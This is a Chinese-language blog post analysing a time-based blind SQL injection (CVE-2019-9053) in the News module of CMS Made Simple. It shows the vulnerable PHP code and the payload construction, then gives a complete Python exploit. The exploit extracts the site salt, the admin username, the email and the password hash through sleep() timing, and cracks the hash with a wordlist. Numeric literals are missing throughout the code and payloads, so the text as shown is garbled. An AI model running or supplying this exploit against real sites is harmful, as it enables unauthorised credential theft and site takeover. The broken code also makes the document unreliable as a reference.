天天看點

CMS Made Simple 注入漏洞(CVE-2019-9053)分析複現附利用POC

前言

剛好前一段時間分析了這個cms的一個插件showtime的一個任意檔案上傳漏洞,大家還可以在從往期的文章中找到這漏洞連結如下

CMSMS子產品Showtime2任意檔案上傳漏洞CVE-2019-9692分析 附利用POC

刷漏洞的時候剛好看到了這個漏洞,然後在網上沒有看到公開的介紹這個漏洞的文章于是就安裝了兩個版本的cmsmc比較了一下,還是想說,如果分析一個cms不想從頭開始檢視代碼的話,最便捷的方式也就是不同版本的代碼比對了。

廢話不多說了,開始介紹漏洞然後實作攻擊。

環境介紹

這個cms的源碼比較特别,隻有一個安裝檔案,是以要分析兩個版本的cms的話需要安裝兩遍

漏洞分析

通過代碼比對工具可以快速定位到cms關鍵代碼

CMS Made Simple 注入漏洞(CVE-2019-9053)分析複現附利用POC

位置在

/modules/News/action.default.php
           

複制

if( isset($params['idlist']) ) {
        $idlist = $params['idlist'];
        if( is_string($idlist) ) {
            $tmp = explode(',',$idlist);
            for( $i = ; $i < count($tmp); $i++ ) {
                $tmp[$i] = (int)$tmp[$i];
                if( $tmp[$i] <  ) unset($tmp[$i]);
            }
            $idlist = array_unique($tmp);
            $query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
        }
    }
           

複制

其中

$params['idlist']

是可控的,可以直接通過get的方式獲得,這也是這個cms傳入值的一個方式。

其中

$query

是字元串拼接而成的一個sql語句,這如上代碼中如果符合要求的話,繼續拼接sql語句,意義在于給sql語句加上限制條件。其中

$idlist

可以控制 直接帶入了查詢語句,造成注入。

下面簡單研究一下payload的構造

依然是在

/modules/News/action.default.php
           

複制

檔案中,可以看到整個sql語句是:

$query1 = "
            SELECT SQL_CALC_FOUND_ROWS
                mn.*,
                mnc.news_category_name,
                mnc.long_name,
                u.username,
                u.first_name,
                u.last_name
            FROM " .CMS_DB_PREFIX . "module_news mn
            LEFT OUTER JOIN " . CMS_DB_PREFIX . "module_news_categories mnc
            ON mnc.news_category_id = mn.news_category_id
            LEFT OUTER JOIN " . CMS_DB_PREFIX . "users u
            ON u.user_id = mn.author_id
            WHERE
                status = 'published'
            AND
        ";
        ......
       $query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
           

複制

其中

CMS_DB_PREFIX

,是使用者安裝的定義的固定值,不用考慮

SELECT SQL_CALC_FOUND_ROWS
                mn.*,
                mnc.news_category_name,
                mnc.long_name,
                u.username,
                u.first_name,
                u.last_name
            FROM cms_module_news mn
            LEFT OUTER JOIN cms_module_news_categories mnc
            ON mnc.news_category_id = mn.news_category_id
            LEFT OUTER JOIN cms_users u
            ON u.user_id = mn.author_id
            WHERE
                status = 'published'
            AND
                    mn.news_id IN (implode(',',$idlist));
           

複制

mysql中in是一個很有用的東西 in的格式為(v1,v2,v3)

CMS Made Simple 注入漏洞(CVE-2019-9053)分析複現附利用POC

于是我們的paylaod可以是

,,,)) and sleep() —+
           

複制

這是一個很簡單的注入 我們可以測試一下可以發現時間延長了2秒可以進行基于時間的盲注

利用腳本

下面給出的是一個從爆破salt 到使用者名 再到密碼的一個腳本

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print colored("[*] Now try to crack password")
    crack_password()

beautify_print()
           

複制

漏洞複現

按照上述的安裝方法安裝之後,直接運作腳本:

CMS Made Simple 注入漏洞(CVE-2019-9053)分析複現附利用POC